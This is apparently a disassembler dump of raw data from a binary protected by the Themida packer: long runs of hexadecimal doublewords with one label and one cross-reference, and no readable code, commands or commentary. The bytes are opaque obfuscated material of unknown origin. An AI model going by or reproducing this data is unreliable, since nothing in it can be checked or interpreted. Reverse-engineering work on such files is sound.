		dd 9C39DC1Bh, 0D4731A57h, 1E9FCB51h, 49943307h,	842750A5h
		dd 4CEF08EBh, 403640B3h, 4BFF9833h, 170730CDh, 1A4D358h
		dd 0CD6C895Eh, 0F998D52Ah, 0B659975Ch, 0F497602Fh, 4038BB54h
		dd 7F3009Dh, 0AE70C760h, 0EAF370A3h, 853EC8D8h,	15BF81FFh
		dd 19B8B53Ah, 0F3966176h, 0D813E95Ah, 0A5813EC8h, 0B1C897CAh
		dd 34AC660Ah, 98028557h, 780CF014h, 3FE68582h, 6FA733AEh
		dd 68610584h, 86h, 0E1664FDDh, 54FADECAh, 0DC1B6EB4h, 0F57316E2h
		dd 32D9A16Eh, 4D8EB58Eh, 353EC87Dh, 249C0649h, 320284B2h
		dd 0Bh,	48910E93h, 273EC871h, 1B37FDA1h, 0A2A33CDBh, 8229501Fh
		dd 1DDC65E5h, 743EC87Dh, 4ECC737Fh, 7A1955AAh, 3AD516DDh
		dd 0BD949A9Dh, 2D483E38h, 3890C8Eh, 357B2A0Bh, 70CF6FB5h
		dd 32B95C9Bh, 50ED945Dh, 0B25921FAh, 72913515h,	2CAD32AFh
		dd 433EC890h, 0B00035C5h, 489A3668h, 0DE1BA2A8h, 0D8A79E37h
		dd 0E961FE9Dh, 19C6B045h, 16461A5Eh, 912EAC9Ch,	5BF49362h
		dd 1DBA6198h, 2303FEDh,	58AE591h, 4DA245ECh, 70FC7F22h
		dd 10E9683Eh, 24D2D969h, 5C97B050h, 9D56EF96h, 63902DD4h
		dd 9856EF96h, 533D6B06h, 0FCE55D0h, 623EC861h, 97DA44E4h
		dd 0B947D864h, 3C3DC6A9h, 9AFA629Ch, 685C0285h,	0E6000000h
		dd 9E37DE1Bh, 54A52AA7h, 2B3EC87Dh, 0EE4F99Dh, 0C569CE67h
		dd 0A54C25AAh, 0B9A59A1Eh, 5276F13h, 4A1442Ch, 6C83A246h
		dd 0B241DE85h, 19CCFC1h, 22FCE67Fh, 0C37FE54Fh,	3FD90284h
		dd 6C000000h, 0B2D23EE0h, 0F5B03A38h, 63F9890Fh, 0B77D21B6h
		dd 9E37DE1Bh, 0F2791855h, 1AB34E1Dh, 37B79030h,	6C850A65h
		dd 1B1C22C5h, 0A0A33CDBh, 3EC87D5Ah, 37A1B04Ah,	284B201h
		dd 157h, 0E86DAB00h, 0C87D926Bh, 0B757ED3Eh, 195A5822h
		dd 9063FC7Eh, 0C441C467h, 0C87DBE3Fh, 0DA81783Eh, 0F34CEC5Ah
		dd 0DD62ED17h, 18E76E15h, 0A9A13EDDh, 6DF42605h, 0B85AD95Ch
		dd 0A3C4F546h, 0A4D19E25h, 7DC86105h, 8D2AC5A6h, 0ABC419BDh
		dd 61E46908h, 2C9A1BE2h, 0B2511DC7h, 4FB53515h,	35D9807Ah
		dd 9B34D7A0h, 2C9B53A8h, 0FA99D5C7h, 0B659965Dh, 2C43F119h
		dd 0F37E20FEh, 5AD9816Eh, 0C72C9B83h, 47EA68DEh, 0A1402D02h
		dd 6C0FE8FDh, 23E672D3h, 0CCD52F4h, 63C72C78h, 162255E5h
		dd 14E3F898h, 0D787D471h, 0D76598h, 0E61A6861h,	3837CC6Ch
		dd 0CCE69187h, 0E56502A1h, 18DBA255h, 7F85139Ah, 0BB66E714h
		dd 5D997818h, 0FC69ADE7h, 3BE218E7h, 11E229Bh, 3EA00000h
		dd 0DA8CBA7h, 0FE973E34h, 0CA47CE4Ch, 0B956FDF5h, 0F5C49183h
		dd 25A36EEDh, 0D2D8219Eh, 51B73EC8h, 0FCDEA8ADh, 23A1C4F5h
		dd 0EB8E698Ah, 15B8B74Ch, 0D97C7B78h, 4F1F3Ch, 36D97C7Bh
		dd 6A3184BCh, 41D2FCh, 6D300000h, 1CB95896h, 3D988A2Eh
		dd 0CB820184h, 5F3EC87Dh, 0C14251D9h, 0B95DC797h, 0D56E077Dh
		dd 3EC87E04h, 134609F3h, 0F18E353Ch, 0FA43B559h, 6AE88370h
		dd 7E2D5CE3h, 0C6443EC8h, 96B323h, 3E0D0000h, 149B22A7h
		dd 0C4F55FFAh, 0A54EE75Dh, 5C9D22CAh, 33C72CA2h, 0B1741395h
		dd 0A22EAF34h, 0C341C72Ch, 0FEA1CE23h, 0A11EE261h, 3013C72Ch
		dd 0A3AF2EB5h, 44C2C72Ch, 8D0EEBB8h, 3DE18EDBh,	7A497CD3h
		dd 8059D67Eh, 0DFC72CD4h, 0B247E769h, 0F27214C5h, 0A99A8AF6h
		dd 2BAD2BCEh, 86439A8Ch, 247B80FFh, 0B0163D09h,	0D22BA82Dh
		dd 0ADCD0A24h, 559E7717h, 0B259201Ah, 1AB33515h
		dd 62FB9ED9h, 2AC36691h, 0BCEA8531h, 1F81D0FEh,	27AC2F9Ah
		dd 372FE0D4h, 0B87E21A7h, 9B22A73Eh, 0EDB9C714h, 0B2BC93C4h
		dd 51B77313h, 7F303FB4h, 62AD2FB9h, 0F79A182Dh,	0DB7417E0h
		dd 2481DE6Ah, 4CBE24E7h, 23AFCA17h, 0F0907306h,	25EB806Bh
		dd 1958C63Ch, 19B85B94h, 860DB5C2h, 0CA05E577h,	61FE7C0Ah
		dd 826F6192h, 4AC05DDBh, 5F06ECC3h, 9E452DC6h, 0F2C74901h
		dd 58C26601h, 615B9419h, 551CF594h, 0B73911AEh,	11B4C318h
		dd 0CF54D174h, 0CA05E50Eh, 9543E361h, 12h, 5A966DEBh, 0A8271EB7h
		dd 3EC87D51h, 78189A30h, 0D91B54CEh, 2552A13Eh,	0DF0EE582h
		dd 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h
		dd 0E610E37Ch, 5724AE47h, 0BD55E789h, 4, 835DEF01h, 3C8704EFh
		dd 89565C24h, 4C681E6h,	83000000h, 348704EEh, 1C895C24h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 55242C89h
		dd 423CDABDh, 80E5BB55h, 0EB295B64h, 81242C8Bh,	4C4h, 2C8B5400h
		dd 4C48324h, 0DA895250h, 895AD089h, 8B580845h, 8950242Ch
		dd 405E0h, 0C0830000h, 24048704h, 2434FF5Ch, 4C4835Bh
		dd 0F934D3E9h, 0B1EA8BFFh, 0F113A418h, 48D2B828h, 0C5030622h
		dd 95E0E0FFh, 65BC6C94h, 0CF220E60h, 4EB59AEh
dword_5A1E68	dd 4E20E896h, 4D2E9h, 32CD9F00h, 0DF7E788Fh, 28CFAB40h
					; DATA XREF: Themida_:005357B4o
		dd 0E6817289h, 1EC5AC43h, 0DC4D67Bh, 459A3DE4h,	12E9882Bh
		dd 4EA544E3h, 0E7DB7E21h, 3416E76Ch, 806938EAh,	3AC340C5h
		dd 5538EA34h, 1B094FEFh, 579C39DCh, 51D4731Ah, 31D57482h
		dd 9730D39Ch, 57F0935Ch, 12DCD29Ch, 0DF58F573h,	7C7B004Fh
		dd 0D4A136D9h, 0D66F12DEh, 7C53F674h, 0BE35D271h, 1EBDB8B2h
		dd 0DD07039Ch, 41E00D92h, 8B2E499Eh, 7D8B51F2h,	0DF93EC8h
		dd 0B160D842h, 76F60284h, 4F000000h, 3AD37A80h,	1BEA7010h
		dd 52C82BDCh, 7BCBF530h, 9B27A06Dh, 991CFEAAh, 0C84BC31Ah
		dd 0AA289E3Eh, 4BA5360Dh, 31CD3EC8h, 0E83CB41Eh, 11A0284h
		dd 0A8000000h, 0A33CDB1Bh, 0EE872650h, 0B24BE605h, 51D69985h
		dd 0D6507825h, 0FF548F38h, 0C06EFA81h, 188DA892h, 7BBE5D01h
		dd 5D6079F6h, 89FF3EC8h, 3FE710E5h, 0C85D39C0h,	62F2583Eh
		dd 0CFD73171h, 24C3453Dh, 37DE1B1Eh, 700FDFB4h,	3AD373D7h
		dd 811EBDB9h, 0C0450CDAh, 986F12B9h, 6A39BC5Fh,	0DB14ED8Ch
		dd 0BAB9F38h, 12B9C132h, 0C08F6D75h, 84B42E56h,	7F1BE02h
		dd 700BC464h, 77000000h, 9E37DE1Bh, 0D9761D55h,	971F75Eh
		dd 0CD0659AAh, 0D6CAA06Eh, 0F3067F46h, 73A6A953h, 8A2ED59Ch
		dd 32D57C75h, 0A62DD49Dh, 5CFC9FD9h, 0A84330C3h, 0A0D3A025h
		dd 5C7D7C05h, 76143EC8h, 0FBA939D2h, 0D4E20A74h, 350A0284h
		dd 4BFF983Bh, 4F32ABh, 1B900000h, 559E37DEh, 12DC7918h
		dd 0B9C0450Ch, 7C19BCBBh, 70813ECEh, 0FA7784E7h, 1B51D978h
		dd 33B93CDBh, 72F1B680h, 3EC8F26Bh, 8F48006h, 59956E9Fh
		dd 892D1DBAh, 0E54993B0h, 4B373EC8h, 4A229A04h,	0D5AA0285h
		dd 5E57F79Ah, 1, 38DF1BE4h, 781B549Fh, 0A3501EF5h, 23F5F891h
		dd 37D7594Bh, 6F022CDEh, 0E689673Ch, 0A343DE0Dh, 0F67D244Eh
		dd 2BA84C29h, 3EC889D2h, 0FC9917ADh, 978BAA4Eh,	2F048742h
		dd 4604A13Ch, 0E2209FA2h, 7DC4F5B2h, 0A67C7D02h, 7513C72Dh
		dd 18EC70F3h, 42BC6016h, 6E859E42h, 0A43BDE81h,	0CEA528CBh
		dd 0C059FDA4h, 2D007883h, 68E7B5C7h, 9B8D5E35h,	0A23BBD58h
		dd 0BC701CA8h, 0BA834458h, 5B6C116h, 40169D8Eh,	11222875h
		dd 0B63148D4h, 60E27D6Eh, 0CFA83FE2h, 9760932Ch, 5D005BF4h
		dd 2FC86786h, 5D4F450Dh, 6AE8A172h, 90155CC6h, 0E925C467h
		dd 0FC6A0A73h, 123E5h, 0A73E5D00h, 0ACC49B22h, 5DE26509h
		dd 0C4F55313h, 0C56C865Dh, 1C9F2521h, 47312747h, 0C18926A4h
		dd 0EF041Dh, 4A25BA5Dh,	0AE50EA7h, 88DCE67h, 0AFF7068Dh
		dd 0FC8AC72Ch, 1A9FB25Ch, 92973ADDh, 0AF49900Fh, 0A228C72Ch
		dd 83CC04FEh, 3C8AFC69h, 0F8000000h, 6355966Dh,	0F05AF392h
		dd 0D175D572h, 0A82B961Fh, 0C87D622Bh, 0EE87FD3Eh, 0C87D8455h
		dd 0C689733Eh, 65E8D964h, 39ECD5D7h, 8529B16Bh,	170C3DC2h
		dd 0A5233EC8h, 96D402h,	3E2E0000h, 0FEABCBA7h, 6FB457BCh
		dd 0EC8907B7h, 0DA59DC5Eh, 0C4F5103Ch, 390CA91Fh, 52EB8E6Ah
		dd 748358F8h, 0A62B2ED1h, 5055A42Bh, 9E2CC72Dh,	2D50C415h
		dd 892D9BC7h, 74817B74h, 901238D5h, 4CD34EF7h, 0C72D508Dh
		dd 7DC266E4h, 0C72D5379h, 0DE63EEB0h, 57CB6E11h, 0BF44C702h
		dd 3D089AAFh, 680FEAB9h, 0C4A78CC8h, 8B678C29h,	4BE466E4h
		dd 0E1ECFA8h, 4CB276D0h, 46C46791h, 857241C4h, 4CEF09E2h
		dd 1EF797B3h, 0CD2F42ECh, 45CA5178h, 372F5325h,	252DCC3Ah
		dd 9B22A73Eh, 0EDB65414h, 4C260BC4h, 0B63D08A5h, 0C715CA27h
		dd 0CC4ECC3Ah, 14B7C033h, 0EE915E75h, 0BE5D9867h, 157F4F2Eh
		dd 6E12C39Ch, 0D6A370D5h, 38CA8F2Fh, 2E7F1028h,	3EC7100h
		dd 0C749F009h, 1A4D328h, 0C15C8F64h, 9FCF24h, 0C2618C67h
		dd 7CD3C925h, 0F628C4Eh, 3DA59DCh, 5E8F1328h, 0C4B348E8h
		dd 2DBB7E21h, 855D3885h, 966B0B9Dh, 0C119B659h,	3, 1BBC8617h
		dd 52A13ED9h, 0EE58225h, 4CA740DFh, 0FE48124h, 51A23BE2h
		dd 0FE48128h, 4FA441DCh, 10E37C23h, 24AE47E6h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0B968243Ch, 8900000Ah
		dd 3068241Ch, 8900007Dh, 7C682434h, 8B062249h, 0C483241Ch
		dd 348B5404h, 4C48124h,	51000000h, 4E895953h, 348B5908h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 50241C8Bh
		dd 405E089h, 5000000h, 4, 5C240487h, 0F92FDFE9h, 0FE8710FFh
		dd 0B8A502D5h, 6224DD7h, 0E0FFC503h, 1FB9995h, 0B55FA22h
		dd 2CC24718h, 155AFE7Fh, 10F54D1Bh, 4A3D3B91h, 10EBh, 3	dup(0)
		dd 0C08B0000h, 8B0FF18Bh, 6, 1221B523h,	0BD83061Bh, 61B23D1h
		dd 83097500h, 1B3129BDh, 19740006h, 0C08B5350h,	42DB8h
		dd 0A1858900h, 8D061B2Dh, 1DA64D9Dh, 5BD3FF06h,	29BD8358h
		dd 61B31h, 53501774h, 42DB8h, 0A1858900h, 8D061B2Dh, 1DA33C9Dh
		dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0F38B6686h, 9503C08Bh, 61B176Dh
		dd 2B6D8D8Bh, 9589061Bh, 61B0AEDh, 0F00F983h, 3684h, 3D8B6400h
		dd 2Ch,	5E9h, 3ADBCC00h, 0FF0B00C5h, 1D840Fh, 800F0000h
		dd 0
		dd 0B58B3F8Bh, 61B2101h, 8166C032h, 0F3C3A1CEh,	0BDB58BAAh
		dd 35061B32h, 53504149h, 5004F681h, 85C62519h, 61B239Dh
		dd 9D8B6047h, 61B0A95h,	299589h, 0E861061Bh, 4,	0DCD6882Ch
		dd 61C88B60h, 10E950h, 0DE180000h, 8ACBAEF4h, 2820BA96h
		dd 0CDA45253h, 448BB0ADh, 0F530424h, 280h, 5A5A5600h, 8B66008Bh
		dd 244489D1h, 48D0F04h,	51000000h, 585A6160h, 1198529h
		dd 0B5FF061Bh, 61B2F11h, 7046858Dh, 6A061Eh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 298AC4C3h
		dd 0B9CA8166h, 6AD0FFA1h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 122AC355h, 0FCD68BEDh
		dd 1D599589h, 8589061Bh, 61B0EE5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 10C35747h, 14F28965h, 0F8DECCF5h
		dd 239D85C6h, 8B53061Bh, 258509F3h, 68061B31h, 88598931h
		dd 81F78B66h, 0E3CD2434h, 958B00C1h, 61B01B1h, 2F11B5FFh
		dd 0DE8061Bh, 0B0000000h, 66EA4E5Eh, 1AD31195h,	0B1C71A39h
		dd 1775958Bh, 8D5E061Bh, 1E704685h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 47E9BA37h
		dd 0F28B7EC2h, 6AD0FFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 6AE032C3h, 3858DE9h, 0F061E38h
		dd 8589F1BFh, 61B11A5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 7CC35343h, 789750D4h,	13E9EB41h, 37000000h
		dd 0C15D7D4Dh, 8C602DA7h, 0C60CC030h, 0B735038Ah, 206AB0FBh
		dd 95FFFF6Ah, 61B11A5h,	50414935h, 0A185C753h, 1061B2Fh
		dd 0C7000000h, 1B121585h, 6, 6840F00h, 81000000h, 528361D6h
		dd 52006A51h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 83F28B3Fh, 1B1335BDh, 840F0006h,	98h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 45C35545h, 95A41A84h
		dd 91402D87h, 6FD858Bh,	6A061Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 380F4CC3h, 337C87AEh
		dd 64F87C95h, 0A3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 8E6E26CAh, 708E9F51h
		dd 79858B1Dh, 0E9061B1Ch, 0Ch, 62828A8Fh, 0D3353776h, 0E9E589FEh
		dd 8589E08Bh, 61B2159h,	11C1BD83h, 0F00061Bh, 3C885h, 9D85C600h
		dd 56061B23h, 0EE9h, 0F620C800h, 56B0702Bh, 0CB730F9h
		dd 685E3DAFh, 83B3F4E9h, 66525056h, 0F82C6BAh, 5AF28B31h
		dd 4815E58h, 113BF624h,	0CE86026h, 0C9000000h, 0A821F2A4h
		dd 53CBDD2Ch, 89A964E7h, 1B1305BDh, 8D895F06h, 61B0CCDh
		dd 41BD8961h, 0FF061B17h, 1B2F11B5h, 1BBE6606h,	46858D78h
		dd 89061E70h, 1B31D19Dh, 33D0FF06h, 1B0839B5h, 50519006h
		dd 0F525052h, 0F585A31h, 5A39B631h, 0BA505A58h,	557E58C8h
		dd 0DE816690h, 8D8DC037h, 61B24F1h, 880F6057h, 0
		dd 665A61FCh, 6650F28Bh, 89241DBEh, 6A240Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B2E9EC3h
		dd 1B223995h, 0E9046A06h, 0Bh, 9EB4575Bh, 0F1B362C1h, 893648C8h
		dd 1B2541B5h, 0ED536806h, 9E9CC6Dh, 83000000h, 0A88DF01Ch
		dd 3ECCD5E8h, 0AD240481h, 57339222h, 0B5FF5EF5h, 61B1F15h
		dd 0AE8D0FFh, 7000000h,	782D4F5Fh, 0C187F9D7h, 9FEE8029h
		dd 15BD8B5Ah, 6A061B1Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 1018C356h, 0ACCF5A40h
		dd 0B5899EE5h, 61B3171h, 0E83C7F03h, 5,	0C71C48FEh, 0FE913h
		dd 0A6F30000h, 0D71C02Bh, 46716B6Eh, 0E9AA5816h, 0C7815E76h
		dd 0F8h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 14h,	0E3C35141h, 5E8h, 951B0300h, 8D0F7FF4h,	6, 32A99D89h
		dd 0C75A061Bh, 202447h,	6A6000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 7FCCC4C3h, 0B2F78B66h
		dd 71BD83B9h, 6224Eh, 13C840Fh,	870F0000h, 0
		dd 0BA28C783h, 251231FBh, 879B58Bh, 7C7061Bh, 64696A2Eh
		dd 0DD4BBA66h, 610447C7h, 6A006174h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 43AC355h
		dd 8977B0B7h, 1B080D9Dh, 820F06h, 8B000000h, 224E7985h
		dd 5E806h, 48830000h, 0FA0C9EBh, 38Ch, 0C0EE8000h, 0B5958B5Eh
		dd 89061B09h, 35BA0C47h, 8B6C9A03h, 224E7D85h, 15953306h
		dd 66061B02h, 75F7C281h, 6A084789h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 3D5CC356h
		dd 0F6CCD7Dh, 18Ch, 0C783FC00h,	53006A28h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 68F0F9Bh, 89000000h
		dd 1B1CE1BDh, 2E07C706h, 336E6F63h, 1B008195h, 447C706h
		dd 676966h, 18D0Fh, 8BFC0000h, 224E7585h, 9D09FC06h, 61B23A1h
		dd 510C4789h, 4794E681h, 8B5E19EDh, 224E7185h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 8478961h, 118DB52Bh,	0F558061Bh, 24898D8Dh, 8B66061Bh
		dd 0CD53BAD1h, 66910387h, 50E352BEh, 51006A91h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0B5FF3665h
		dd 61B24F1h, 4E8D68Bh, 0
		dd 50000010h, 424448Bh,	12E8008Bh, 33000000h, 9F623564h
		dd 0A7DF11E9h, 2F796EEBh, 9EE84B53h, 44895E2Dh,	0BE660424h
		dd 0FF5848E5h, 1B1F15B5h, 10E906h, 0DA380000h, 48C30946h
		dd 4FB320ABh, 0BC7E9A31h, 0BE66ECA0h, 0D0FFA19Ch, 14E9h
		dd 5DFCD800h, 0FF8DD14Ah, 4E14DD77h, 496A4000h,	4A3BE730h
		dd 0B84Fh, 95890000h, 61B07FDh,	7AC2BA66h, 840FC00Bh, 55h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0CEC35343h
		dd 0E4DBE6EAh, 9D89F90Fh, 61B2EC5h, 2111B5FFh, 6A061Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 381FC2C3h, 2F8595FFh, 0C280061Bh, 8BC08BE2h,	1B2A1995h
		dd 2EBA6606h, 0D1BD8398h, 61B23h, 0BD830975h, 61B3129h
		dd 50197400h, 0B8C08B53h, 42Dh,	21318589h, 9D8D061Bh, 61DA6B4h
		dd 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h,	42Dh, 21318589h
		dd 9D8D061Bh, 61DA355h,	585BD3FFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 7CC35141h, 0F7426E92h, 0F8078817h
		dd 8589D68Bh, 61B00F1h,	958BC08Bh, 61B0D0Dh, 8D8DC08Bh
		dd 6225755h, 24298D89h,	8953061Bh, 1B02F99Dh, 85C75E06h
		dd 61B0765h, 61ACh, 5744DF81h, 85C72861h, 61B13D1h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 58C35646h
		dd 9ED281E7h, 0FF500DDFh, 1B2549B5h, 6810F06h, 89000000h
		dd 1B3309B5h, 8595FF06h, 0E8061B2Fh, 0Eh, 46320148h, 483FFE11h
		dd 33F63807h, 6A5B7EF7h, 595FF00h, 8B061B22h, 3C1AEBC0h
		dd 0CE3709F2h, 0F6D064B0h, 0AEFE9E1Bh, 0E7ADFA6Dh, 0A099BD6Eh
		dd 7A4D62E3h, 0EE8DEh, 47060000h, 744FB07Fh, 8CA8019Eh
		dd 4C069C78h, 53266FB9h, 5E95B11h, 0AC000000h, 0FC88B654h
		dd 6B54C381h, 5E90000h,	0E7000000h, 7C4E186Bh, 0EE8858BFh
		dd 0F5F78144h, 8944EE92h, 1B2E959Dh, 89338B06h,	1B183595h
		dd 0A5C68106h, 8B14A7EFh, 1B2B1195h, 2BC68106h,	0E9669423h
		dd 7, 0DC840794h, 815EA4F5h, 42E339F6h,	918D896Ch, 56061B2Ah
		dd 8FC2BF0Fh, 0B1BD3103h, 81061B2Bh, 0AA3064EBh, 0D3DE8078h
		dd 3060C381h, 8D8B78AAh, 61B02A1h, 1EF81h, 850F0000h, 0FFFFFFA1h
		dd 8E18529h, 5E8061Bh, 0F3000000h, 0FB8F8E04h, 5EFABF0Fh
		dd 1A259D09h, 0C681061Bh, 7129h, 0EE9h,	0E6ED2B00h, 800FA4C4h
		dd 0A81DBD8Ah, 0B932E518h, 1C19h, 0FE9h, 0A3960500h, 0DC5F5EA3h
		dd 0F333B286h, 9FD838C9h, 0F08036FFh, 0D38B5BC7h, 142F381h
		dd 5E87155h, 59000000h,	0D5DDBE84h, 17D5858Bh, 815F061Bh
		dd 4DC877C3h, 810F75h, 81000000h, 32F8C6F3h, 31958B53h
		dd 89061B03h, 4195311Eh, 81061B13h, 9FC7FEEh, 5AB86629h
		dd 7BC6813Bh, 812909FCh, 0E366A7C2h, 850F4919h,	10h, 26E9F9h
		dd 1EFB0000h, 0D21C0508h, 7166CED5h, 2275B589h,	89E9061Bh
		dd 0EAFFFFFFh, 3B21F7FCh, 0B17B1C3Ch, 0C6ECC95Fh, 84722EEAh
		dd 59A98D8Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 89F61EC3h, 1B24298Dh, 2D8D8906h
		dd 0C7061B12h, 1B076585h, 61C806h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 37CEA7Ch, 1B0D6195h
		dd 0D185C706h, 61B13h, 0FF000000h, 1B2299B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 8B0FF53Ah, 3, 0FFD1B70Fh, 1B2F8595h,	55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 6A4199FCh, 595FF00h,	8B061B22h, 9B0AEBC0h, 782AC62Ch
		dd 982E301Ah, 0C08BADh,	167h dup(0)
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h
		dd 0F566032h, 8Fh, 6E95B00h, 70000000h,	9ECC3576h, 11E96169h
		dd 0CE000000h, 419A224Fh, 2E388FB5h, 0A851E150h, 0CE45AABCh
		dd 53006A9Dh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0AAD48E7Bh, 0D888B24Dh, 0FF5740Fh, 0C8Bh
		dd 7E900h, 45A90000h, 0DC7A5BCBh, 0EE96193h, 0EE000000h
		dd 9AD1212Dh, 0F5DFAF9Eh, 0EFC57325h, 0F85DF935h, 0D2BF0F60h
		dd 24440161h, 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 9829FE73h, 8B9F74DEh, 0AE9ACh, 64B40000h
		dd 62942FA4h, 1E1ED908h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0A06BEF5Bh, 0B70F6085h
		dd 9BF081FAh, 61287E0Bh, 6AC39Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 218F94C3h, 6660E623h
		dd 4B1BC981h, 5E957h, 8970000h,	596220F4h, 0CE961h, 0BA3B0000h
		dd 0E1B68F13h, 5946AA7Fh, 0C08B36C2h, 8F0Fh, 0B6F80000h
		dd 5880F1Eh, 0B8000000h, 735161F0h, 60FB8B66h, 9E8h, 70318500h
		dd 2ACB0E86h, 830FB6CBh, 0
		dd 1B3575Bh, 870F6158h,	0Ah, 5E9h, 8CEC0F00h, 0EE9EB1Ch
		dd 0D9000000h, 457AB6Dh, 82F49272h, 0E430309Ch,	0D9B70F02h
		dd 5E57B251h, 0FE9h, 5CA55200h,	9E000C1Ah, 474CD75h, 246E5C39h
		dd 0BE665760h, 665F4324h, 6661CF8Bh, 668CD2BAh,	13E9D78Bh
		dd 0AF000000h, 0A7BA275Fh, 0FFA4F41Ch, 56B42FC4h, 8BDE1955h
		dd 0E9F83B7Dh, 5, 0C88E6D9h, 68E0F8Eh, 81000000h, 0C72E94E7h
		dd 66D78A2Ch, 8B66C78Bh, 0FE8CAh, 48D90000h, 0C27CA811h
		dd 0BF48C73Bh, 0F5C531E0h, 3830F13h, 80000000h,	665E76D1h
		dd 8166D68Bh, 6683CEE1h, 8834C981h, 30C68166h, 0EE95014h
		dd 0CE000000h, 0DFAAFE82h, 3A510386h, 4F6526F3h, 0D48A5ED3h
		dd 0EE9h, 907C7600h, 4A4A6CB7h,	52302E58h, 66342DD3h, 5374A9BEh
		dd 59DE8B66h, 0FE9h, 62D77B00h,	963AB79h, 0BD395706h, 0D1A5190Ah
		dd 0F4CB8166h, 0B70F516Eh, 0E96058FAh, 5, 43440580h, 0DA806164h
		dd 7E910h, 0A5CE0000h, 6DCA2BC0h, 0D9B70F9Eh, 0E9F18B66h
		dd 9, 23FAC3B3h, 4995EE71h, 0AE960E9h, 0FA000000h, 3ED50225h
		dd 0FA788A6Dh, 0F0BF0F0Ah, 0C1B70F61h, 66C88B66h, 8166CB8Bh
		dd 0E8F810F6h, 8, 0C0D77906h, 20302C6Dh, 5BDBBF0Fh, 88E08166h
		dd 0FC506077h, 3CC8805Bh, 0CA8B6061h, 0D563F781h, 66614468h
		dd 60344ABBh, 5ACF8166h, 0D38B6652h, 0B3BA6661h, 14E95725h
		dd 50000000h, 307EC688h, 89478082h, 86D8590Ch, 0DBFB80A6h
		dd 5B494FBBh, 0EE8h, 0DD810B00h, 0F8E51ECEh, 0D2BFEA91h
		dd 8B8FE626h, 0CA8A5ED9h, 14E9h, 6BDE7900h, 3289A5C1h
		dd 0F3E2585Eh, 0B7D4B16Eh, 0B4E4A280h, 0FE9F5h,	39890000h
		dd 0A99BD9EFh, 0A4AD790Ch, 0C272D4D6h, 25B2B821h, 0C88B5E9Eh
		dd 7E8h, 9EB7B200h, 583849E2h, 14E8h, 87590500h, 59310C61h
		dd 0D0B4410Bh, 0F2E1D366h, 3B2EE53Ch, 5BCB8BE3h, 0C3816659h
		dd 0E380A2A6h, 8E82Eh, 0DDB60000h, 0C48A615Dh, 0DE91248h
		dd 0F9000000h, 94919A12h, 96978E7Ch, 63CB4D0Dh,	3CBF665Eh
		dd 0B966F520h, 0BF0FBB46h, 816660C6h, 8B357ED6h, 12E861F2h
		dd 31000000h, 0C8ECCB78h, 50C17CFDh, 399FB2FAh,	3660F7B5h
		dd 9E9BDh, 690E0000h, 14D13A0h,	5A07E97Dh, 7E9h, 0CF400B00h
		dd 367ED432h, 8E8h, 3B436900h, 0C15ACAE6h, 0BF5EFC06h
		dd 3CBB306Eh, 0C98166F5h, 7E9F822h, 64000000h, 0B12B3DAAh
		dd 0B70FB06Fh, 0FFC60FEh, 128Bh, 0DE900h, 4ABC0000h, 24BF6CBAh
		dd 33B187A9h, 61D444B8h, 0AE850h, 0E4560000h, 0B53F6118h
		dd 0DE5F101Dh, 13E95958h, 0A000000h, 3DB8A28Ch,	1C9553A1h
		dd 62483482h, 1E76BBB4h, 0B866A45Dh, 3FB1B2B1h,	148D0F60h
